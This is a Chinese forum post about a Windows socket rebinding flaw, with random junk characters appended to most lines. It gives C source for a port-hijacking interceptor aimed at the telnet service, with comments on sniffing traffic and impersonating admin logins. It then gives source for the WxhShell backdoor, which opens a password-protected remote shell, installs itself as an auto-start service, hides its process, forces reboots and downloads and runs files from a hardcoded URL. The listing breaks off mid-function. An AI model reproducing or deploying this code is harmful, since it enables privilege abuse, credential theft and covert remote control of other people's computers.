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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?fH1?Z\'K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y5F+~z }{  
:+6W%B  
  saddr.sin_family = AF_INET; q83^?0WD  
]=t}8H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u `/V1  
+rU{-`dy9'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IDn<5#  
q;bw }4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ea S[W?u}  
(1|wM+)"  
  这意味着什么?意味着可以进行如下的攻击: 8!|vp7/  
C W#:'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hy4;i^Ik <  
+z nlf-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F oC $X  
3" m]A/6C}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *-PjcF}Y  
}Q4Vy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?|kbIZP(  
@*|VWHR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g;=VuQuP|  
xI{fd1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R_B0CM<!  
#1U>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nE u:& 4  
}| MX=:@*  
  #include f|VCibI  
  #include Z@1kx3Wx$  
  #include d7](fw@c  
  #include    [L2+k? *  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OGg\VV'  
  int main() F/ZFO5C%  
  { |P]W#~Y-  
  WORD wVersionRequested; }O7sP^  
  DWORD ret; )Xg5=zn$  
  WSADATA wsaData; UH-873AK  
  BOOL val; rmzzbLTu  
  SOCKADDR_IN saddr; Y>w7%N  
  SOCKADDR_IN scaddr; dJ I }uQ  
  int err; OY}FtG y  
  SOCKET s; C0[U}Y/r2  
  SOCKET sc; LUD .  
  int caddsize; Fn .J tIu  
  HANDLE mt; ;+XrCy!.)L  
  DWORD tid;   ss%,  
  wVersionRequested = MAKEWORD( 2, 2 ); pWKE`x^  
  err = WSAStartup( wVersionRequested, &wsaData ); WfaMu| L  
  if ( err != 0 ) { 9[zxq`qT}+  
  printf("error!WSAStartup failed!\n"); A0 Nx?  
  return -1; *gH]R*Q[Rt  
  } pDlrK&;\z  
  saddr.sin_family = AF_INET; BL 1KM2]  
   '>t&fzD0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OM0r*<D"!  
aGC3&c[Wx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rs?Dn6:;B  
  saddr.sin_port = htons(23); =gI41Y]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OJpfiZ@Q_  
  { R`@T<ob)  
  printf("error!socket failed!\n"); chL1r9V)v  
  return -1; iOg4(SPci  
  } ]uox ^HC  
  val = TRUE; pZ'q_Oux  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \"(?k>]E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,i6E L  
  { pi"M*$  
  printf("error!setsockopt failed!\n"); AMjr[!44 @  
  return -1; uX1;  
  } ={;pg(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 't`h?VvL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y/\b0&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }qM^J;uy  
53{\H&q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |&8XmexLb  
  { K1hkOj;S  
  ret=GetLastError(); +o`%7r(R  
  printf("error!bind failed!\n"); {WV"]O8IV  
  return -1; ?d3K:|g  
  } ?)-6~p 4N  
  listen(s,2); r\Y,*e  
  while(1) =F$?`q`  
  { pFS@yHs  
  caddsize = sizeof(scaddr); Uo >aQk  
  //接受连接请求 (0.oE%B",1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [tk x84M8  
  if(sc!=INVALID_SOCKET) 9k ~8n9  
  { 'r7[9[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5(ZOm|3ix  
  if(mt==NULL) kVQm|frUz  
  { Ztmh z_u7  
  printf("Thread Creat Failed!\n"); G^t)^iI"'  
  break; Uap0O2n  
  } _jG|kjFTc  
  } buX(mj:&  
  CloseHandle(mt); Zb=NcEPGy  
  } J[:#(c&c!1  
  closesocket(s); ^(^P#EEG  
  WSACleanup(); m@XX2l9:9  
  return 0; ISC>]`  
  }   ;/$pxD  
  DWORD WINAPI ClientThread(LPVOID lpParam) |1!fuB A  
  { tV(iC~/  
  SOCKET ss = (SOCKET)lpParam; -:%QoRC y  
  SOCKET sc; ((A@VcX  
  unsigned char buf[4096]; 0a89<yX  
  SOCKADDR_IN saddr; "O>~osj  
  long num; g)czJ=T2  
  DWORD val; \JM6zR^Ef  
  DWORD ret; VQpt1cK*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w>j5oz}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }d}gb`Du  
  saddr.sin_family = AF_INET; QD,m`7(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k_]'?f7Z  
  saddr.sin_port = htons(23); S.`y%t.GP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !6=s{V&r1  
  { 8_!qoW@B  
  printf("error!socket failed!\n"); "L]v:lg3  
  return -1; T+Re1sPr?  
  } > Hv9Xz  
  val = 100; `3\U9ZH23  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I%r7L  
  { $/"Ymm#"\Y  
  ret = GetLastError(); @`KbzN_h/  
  return -1; =hTJp/L  
  }  #B~ ;j5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W,[ RB  
  { 'S6zkwC]  
  ret = GetLastError(); EM@|^47$  
  return -1; 0bh 6ay4  
  } r5s{t4 ;Ch  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LmJjO:W}^y  
  { c9[{P~y  
  printf("error!socket connect failed!\n"); 3iw3:1RZUZ  
  closesocket(sc); d~QKZ&jf  
  closesocket(ss); y`zdI_!7  
  return -1; u W,J5!  
  } e*T^:2oRl  
  while(1) aQmS'{d?^  
  { CrI<rD%'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &'12,'8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h81giY]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 xBxiBhqzF  
  num = recv(ss,buf,4096,0); aU;X&g+_)  
  if(num>0) c\ZI 5&4jT  
  send(sc,buf,num,0); =)+^y}xb  
  else if(num==0) cZN<}n+q  
  break; Q<6* UUQm  
  num = recv(sc,buf,4096,0); IrYj#,xJ  
  if(num>0) W]Xwt'ABz  
  send(ss,buf,num,0); =M?+KbTJ3  
  else if(num==0) GjwH C{  
  break; $MDmY4\  
  } GCYXDovh  
  closesocket(ss); |e#W;q$v  
  closesocket(sc); eMdP4<u  
  return 0 ; Os[z >H?  
  } m<j;f  
n#"G)+h3#  
oX^N>w0F  
========================================================== $A~aNI  
ILDO/>n  
下边附上一个代码,,WXhSHELL &V axv$v}  
!j7mY9x+  
========================================================== AB%i|t  
" l|`LjP5M  
#include "stdafx.h" VOj7Tz9UD  
\1<aBgK i  
#include <stdio.h> cPZ\iGy  
#include <string.h> F6 ~ ;f;  
#include <windows.h> /D9#v1b  
#include <winsock2.h> _}47U7s8  
#include <winsvc.h> jl}9R]Y_2  
#include <urlmon.h> J1(SL~e],  
~c v|,  
#pragma comment (lib, "Ws2_32.lib") Y!]a*==  
#pragma comment (lib, "urlmon.lib") }8 ;,2E*z  
H5d@TB, `  
#define MAX_USER   100 // 最大客户端连接数 56YqYu.  
#define BUF_SOCK   200 // sock buffer ='.b/]!_  
#define KEY_BUFF   255 // 输入 buffer 0 J"g"=  
u `ww  
#define REBOOT     0   // 重启 l$!ExXEZO;  
#define SHUTDOWN   1   // 关机 :-59~8&  
yD \Kn{  
#define DEF_PORT   5000 // 监听端口 &^&0,g?To  
p&\QkI=  
#define REG_LEN     16   // 注册表键长度 eptw)S-j  
#define SVC_LEN     80   // NT服务名长度 XC<'m{^(m  
\'g7oV;>cI  
// 从dll定义API < `;Mf>V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <z60E vHg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7>zUT0SS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [H!do$[>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @P0rNO %y  
5/6Jq  
// wxhshell配置信息 N4qBCBr(  
struct WSCFG { bO$KV"*!  
  int ws_port;         // 监听端口 xH28\]F5n  
  char ws_passstr[REG_LEN]; // 口令 V&j]*)  
  int ws_autoins;       // 安装标记, 1=yes 0=no a'HHUii=  
  char ws_regname[REG_LEN]; // 注册表键名 <~ay4JY  
  char ws_svcname[REG_LEN]; // 服务名 U43U2/^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t^B s3;E^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 roriNr/ e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1k"t[^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;xh.95BP`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =_E$* }  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8@;R2]Q  
IV1O/lGp  
}; '%e@7Cs  
)Dv;,t  
// default Wxhshell configuration 66B,Krz1n  
struct WSCFG wscfg={DEF_PORT, \COoU("  
    "xuhuanlingzhe", (JOR: 1aT  
    1, Z! /_H($  
    "Wxhshell", Yt_tAm  
    "Wxhshell", 6&i])iH  
            "WxhShell Service", 3r^||(_u  
    "Wrsky Windows CmdShell Service", ' "%hX&]5  
    "Please Input Your Password: ", |R91|-H  
  1, !}mM"|<  
  "http://www.wrsky.com/wxhshell.exe", :Id8N~g  
  "Wxhshell.exe" [KGj70|~  
    }; \{*`-P v  
g|^U?|;p  
// 消息定义模块 TRgj`FG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lM#/F\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X pK eN2=p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3^H-,b0^  
char *msg_ws_ext="\n\rExit."; qOD^ P  
char *msg_ws_end="\n\rQuit."; w=nS*Qy 2  
char *msg_ws_boot="\n\rReboot..."; ]GHw~s?  
char *msg_ws_poff="\n\rShutdown..."; !6taOT>v  
char *msg_ws_down="\n\rSave to "; s 64@<oU<"  
&`!H1E^  
char *msg_ws_err="\n\rErr!"; \ D>!&   
char *msg_ws_ok="\n\rOK!"; x^`P[>  
C.u) 2[(  
char ExeFile[MAX_PATH]; S_AN.8T  
int nUser = 0; B;iJ$gt]  
HANDLE handles[MAX_USER]; l:~ >P[  
int OsIsNt; }# Ji"e  
$WW7,  
SERVICE_STATUS       serviceStatus; bB/fU7<{)u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 66W J=? JV  
BUL<FTg  
// 函数声明 @Z""|H"0  
int Install(void); g( "[wqgG  
int Uninstall(void); b,ZBol|X  
int DownloadFile(char *sURL, SOCKET wsh); FFVh~em{  
int Boot(int flag); Xa'b @*o&  
void HideProc(void); &F0>V o  
int GetOsVer(void); =`MQKh,  
int Wxhshell(SOCKET wsl); |gk"~D  
void TalkWithClient(void *cs); L Do~  
int CmdShell(SOCKET sock); )ARV>(  
int StartFromService(void); FgP{  
int StartWxhshell(LPSTR lpCmdLine); +*qTZIXj  
!8 l &%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r;waT@&C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {A MAQ  
A$zC$9{0I  
// 数据结构和表定义 ?56;<%0  
SERVICE_TABLE_ENTRY DispatchTable[] = s<C66z  
{ p)Ht =~  
{wscfg.ws_svcname, NTServiceMain}, Ba%b]vp  
{NULL, NULL} Y!u">M#@  
}; dqt}:^L*0g  
.zW.IM}Z  
// 自我安装 >6(e6/C-9  
int Install(void) \Z/0i|  
{ 5NK yF  
  char svExeFile[MAX_PATH]; }&Xf<6  
  HKEY key; IQ~EL';<w  
  strcpy(svExeFile,ExeFile); Hb$wawy<  
J rYL8 1  
// 如果是win9x系统,修改注册表设为自启动 cKwmtmwB  
if(!OsIsNt) { nl-tJ.MU"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L6=5]?B=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d\ 7OtM  
  RegCloseKey(key); ` gor  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bHs},i6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NU7k2`bqAk  
  RegCloseKey(key); TDR#'i  
  return 0; wD pL9q  
    } lz#@_F|.*  
  } Hg(nC*#/Q  
} Io7 =Mc4  
else { RL"hAUs_1  
<;Td8T;  
// 如果是NT以上系统,安装为系统服务 ,UT :wpc^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~05(92bK  
if (schSCManager!=0) 8\`otJY  
{ *U,W4>(B  
  SC_HANDLE schService = CreateService cbx( L8  
  ( 1[?xf4EMG  
  schSCManager, bFIv}c+;  
  wscfg.ws_svcname, j4D`Xq2 X  
  wscfg.ws_svcdisp, _#E@& z".L  
  SERVICE_ALL_ACCESS, GtqA@&5&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3)dtl!VMW[  
  SERVICE_AUTO_START, =fK F#^E@  
  SERVICE_ERROR_NORMAL, LgSVEQb6\|  
  svExeFile, <qxqlEQT  
  NULL, s(Fxi|v;  
  NULL, S#ud<=@!9  
  NULL, 2cJ3b 0Xx  
  NULL, N!af1zj  
  NULL iS8yJRy  
  ); ?trqe/  
  if (schService!=0) 2C &l\16  
  { o2riy'~  
  CloseServiceHandle(schService); 3q(]Dg;v  
  CloseServiceHandle(schSCManager); z 2Ao6*%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /5 R?(-  
  strcat(svExeFile,wscfg.ws_svcname); c~Z\|Y`#B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |0N1]Hf   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -~=:tn)0  
  RegCloseKey(key); Jy#2 1  
  return 0; NK(; -~{P  
    } X&Pj  
  } c6F8z75U  
  CloseServiceHandle(schSCManager); \8-PCD  
} m-|~tve  
} hjoxx F\_  
 gm@%[  
return 1; dO[pm0  
} nc>Ae`"(  
6[C>"s}Ol  
// 自我卸载 ]0@ J)Z09  
int Uninstall(void) fK9wr@1  
{ JiHk`e`  
  HKEY key; eRwm>l"fVV  
^Ea^t.c}_  
if(!OsIsNt) { R)5zHCwOw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h<f]hJ`ep  
  RegDeleteValue(key,wscfg.ws_regname); U3ao:2zP  
  RegCloseKey(key); UYOR@x #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lJXihr  
  RegDeleteValue(key,wscfg.ws_regname); <nT).S>+  
  RegCloseKey(key); x5nw/''[2  
  return 0; f5|Ew&1EP  
  } 1ml{oqNj  
} bp(X\:zAy  
} ef(OhIX  
else { 7TGLt z  
^U@E rc#d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;1woTAuD  
if (schSCManager!=0) 6 g`Y~ii  
{ wfF0+T+IA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !T8h+3 I  
  if (schService!=0) 9^1.nE(R&  
  { j.y8H  
  if(DeleteService(schService)!=0) { E6y ?DXW H  
  CloseServiceHandle(schService); 73d7'Fw  
  CloseServiceHandle(schSCManager); i_qR&X  
  return 0; R4g% $}  
  } srfM"Lb'  
  CloseServiceHandle(schService); 3eS *U`_  
  } #1` lJ  
  CloseServiceHandle(schSCManager); ob;$yn7ZO1  
} 6(.]TEu0  
} \HZ]=B#0  
Rd{#cW~  
return 1; j; )-K 3Ia  
} =WP`i29j9}  
mg7Q~SLL{  
// 从指定url下载文件 9-?[%8  
int DownloadFile(char *sURL, SOCKET wsh)  d365{  
{ )'gO?cN  
  HRESULT hr; C'jE'B5b  
char seps[]= "/"; Qh. : N  
char *token; a6fqtkZ x  
char *file; 00)=3@D  
char myURL[MAX_PATH]; jZvQMW  
char myFILE[MAX_PATH]; 8g CQ0w<  
|LNAd:0  
strcpy(myURL,sURL); PE-P(T3s[8  
  token=strtok(myURL,seps); $Sfx0?'  
  while(token!=NULL) c|^#v8x^/  
  { %.*?i9}  
    file=token; n9Xssl0  
  token=strtok(NULL,seps); Kn<z<>vO  
  } F( Iq8DV  
r% ]^(  
GetCurrentDirectory(MAX_PATH,myFILE); 6~j.S "  
strcat(myFILE, "\\"); 27!9LU  
strcat(myFILE, file); 3d|n\!1r  
  send(wsh,myFILE,strlen(myFILE),0); zS##YR  
send(wsh,"...",3,0); +W P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m!-,K8  
  if(hr==S_OK) 5U^  
return 0; 406.6jmv  
else _U`_;=(  
return 1; 1"Z61gXrz  
gM<*(=x'  
} [:!D.@h|  
Tv{X$`%  
// 系统电源模块 O1_dA%m  
int Boot(int flag) H/Fq'FsQB  
{ !@x'?+   
  HANDLE hToken; #D-L>7,jA  
  TOKEN_PRIVILEGES tkp; qs]7S^yw  
$`&uu  
  if(OsIsNt) { }.UE<>OX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iX{Lc+u3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Ekp <2B:0  
    tkp.PrivilegeCount = 1; AW+ q#Is  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +EWfsKz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aT %A<'O!  
if(flag==REBOOT) { loLN ~6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S>oQm  
  return 0; .D`""up|{  
} D`bH_1X  
else { u-a*fT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n^Qt !~  
  return 0; T*%Q s&x ;  
} A:3:Cr  
  } 9aE!! (E  
  else { 6_# >s1`R  
if(flag==REBOOT) { t(|\3$z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tC=`J%Ik  
  return 0; D:gskK+o6M  
} , LP |M:  
else { *$ihNX]YG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?{ "_9g9  
  return 0; il \q{Y o  
} fr1/9E;  
} >~kSe=Hsb4  
uV:;q>XM'%  
return 1; 3UIR^Rh+  
} zd+_ BPT  
(\ze T5  
// win9x进程隐藏模块 P-?ya!@"  
void HideProc(void) 1R1DK$^c  
{ ,rB"ag !  
[4qx+ypT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~ l'dpg  
  if ( hKernel != NULL )  ;Q;u^T`  
  { Q-X<zn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S1<mO-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c8cV{}7Kb  
    FreeLibrary(hKernel); ]Hp o[IF  
  } HrUQ X4  
D|u! KH  
return; 0{/P1  
} |(E.Sb  
pr2b<(Pm  
// 获取操作系统版本  p=Nord  
int GetOsVer(void) ubn`w=w$  
{ >4A~?=  
  OSVERSIONINFO winfo; ,1"w2,=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LeA=*+zP[  
  GetVersionEx(&winfo); a$7}_kb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?G[<~J3-E  
  return 1; @?A39G{  
  else a sDq(J`sQ  
  return 0; !vU$^>zo~  
} L-  -  
%=:*yf>}  
// 客户端句柄模块 / -ebx~FX&  
int Wxhshell(SOCKET wsl) eGZX 6Q7m  
{ FF"6~  
  SOCKET wsh; . mDh9V5  
  struct sockaddr_in client; _R!KHi  
  DWORD myID; x<'(b7{U0  
P&@:''  
  while(nUser<MAX_USER) Hnv{sND[  
{ "#4p#dM0e  
  int nSize=sizeof(client); >g%^hjJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u.wm;eK[  
  if(wsh==INVALID_SOCKET) return 1; GbC-6.~  
&j\<UPn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =#@eDm%  
if(handles[nUser]==0) #Y3:~dmJ-  
  closesocket(wsh); ,"PKGd]^  
else 47R4gs#W  
  nUser++; OC|9~B1  
  } g0m6D:f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Th&* d;  
K|-?1)Um  
  return 0; pSQ)DqW  
} y9?~^pTx  
uaMf3HeYV  
// 关闭 socket PQ`p:=~>:i  
void CloseIt(SOCKET wsh) 7Vf2Qx1_  
{ "T/ vE  
closesocket(wsh); 289@O-  
nUser--; jXEuK:exQ  
ExitThread(0); sp4J%2b  
} -e"~UDq`  
yub|   
// 客户端请求句柄 D|W^PR:@h  
void TalkWithClient(void *cs) oT7=  
{ SbNs#  
6&o9mc\I  
  SOCKET wsh=(SOCKET)cs; ?UC3ES  
  char pwd[SVC_LEN]; _pSCv:3T  
  char cmd[KEY_BUFF]; =&QC&CqEi  
char chr[1]; ~Qzb<^9]  
int i,j; W+[XNIg5   
Ca[H<nyj  
  while (nUser < MAX_USER) { >E;-asD  
4Gl0h'!(  
if(wscfg.ws_passstr) { EG<YxNX,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KdT1Nb=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9o<}*L   
  //ZeroMemory(pwd,KEY_BUFF); sd;J(<Ofh  
      i=0; &Q>)3]|p  
  while(i<SVC_LEN) { GY@-}p~it  
L-}>;M$Y)  
  // 设置超时 box(FjrZE  
  fd_set FdRead;  (f DA  
  struct timeval TimeOut; E|ce[|2  
  FD_ZERO(&FdRead); 60KhwD1  
  FD_SET(wsh,&FdRead); Tu Q@b  
  TimeOut.tv_sec=8; FgILQ"+  
  TimeOut.tv_usec=0; yoKl.U"&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); usb.cE3 z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'J R2@W`]]  
Mp=2}d%P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HZBU?{  
  pwd=chr[0]; l0Myem v?z  
  if(chr[0]==0xd || chr[0]==0xa) { Cx$M  
  pwd=0; <szD"p|K  
  break; nJJ9>#<g$  
  } t?NB#/#%x  
  i++; 0GR\iw$[J  
    } o9dqHm  
Z^i=51  
  // 如果是非法用户,关闭 socket R u^v!l`!7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C:qb-10|A  
} O$}p}%%y7  
v\Zni4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tGGv 2TCEy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T+z]ztO  
pK=$)<I"6  
while(1) { 90)0\i+P  
w ^ v*1KA&  
  ZeroMemory(cmd,KEY_BUFF); 2Yd0:$a  
t+'|&b][Qi  
      // 自动支持客户端 telnet标准   fsU6o4  
  j=0; G% wVQ|1  
  while(j<KEY_BUFF) { 7XKPC+)1ya  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vv=/{31  
  cmd[j]=chr[0]; AV0m31b  
  if(chr[0]==0xa || chr[0]==0xd) { q\Cg2[nn2  
  cmd[j]=0; Bl5*sfjG  
  break; J/3qJst  
  } ZMmaM "9  
  j++; l[=7<F  
    } YQ}xr^VA  
t^0^He$Ot  
  // 下载文件 e)dPv:oK3  
  if(strstr(cmd,"http://")) { l4+!H\2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |zD{]y?S-  
  if(DownloadFile(cmd,wsh)) Pl_4;q!$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZhqrN]x  
  else rzJNHf=FVY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =5NrkCk#V  
  } 5'f4=J$Z)  
  else { Z$R6'EUb1  
/\L|F?+@  
    switch(cmd[0]) { H=E`4E#k  
  [%(}e1T(  
  // 帮助 ]M AB  
  case '?': { ,-PzUR4_Kj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gakmg#ki  
    break; qms+s~oA  
  } ta]B9&c  
  // 安装 SVsLu2tVY  
  case 'i': { %"GF+  
    if(Install()) t0_o .S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQ|^H Nj  
    else k CkSu-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NvH9?Ek"  
    break; m1x7f% _  
    }  ,lX5-1H  
  // 卸载 VuqN)CE^Uq  
  case 'r': { OU;R;=/]  
    if(Uninstall()) >$,A [|R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &V7@ TZ  
    else }} cz95  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~?0Yrm F  
    break; "dfq  
    } ^UP!y!&N  
  // 显示 wxhshell 所在路径 jR-`ee}y2  
  case 'p': { KK; 3<kX  
    char svExeFile[MAX_PATH]; u"IYAyzL  
    strcpy(svExeFile,"\n\r"); }qy,/<R  
      strcat(svExeFile,ExeFile); ~m^.&mv3/  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ZeF5  
    break; (9:MIP  
    } }:u" ?v=|j  
  // 重启 L3:dANG  
  case 'b': { b_= $W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xd%c00"U  
    if(Boot(REBOOT)) !mNXPqnN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m&/{iCwp  
    else { 9"mOjL  
    closesocket(wsh); ;V(- ;O  
    ExitThread(0); 8 wGq:@# =  
    } vK2sj1Hzr  
    break; ~l$u~:4Ob  
    } nR)/k,3W  
  // 关机 1e`/N+6u  
  case 'd': { x`8rR;N!  
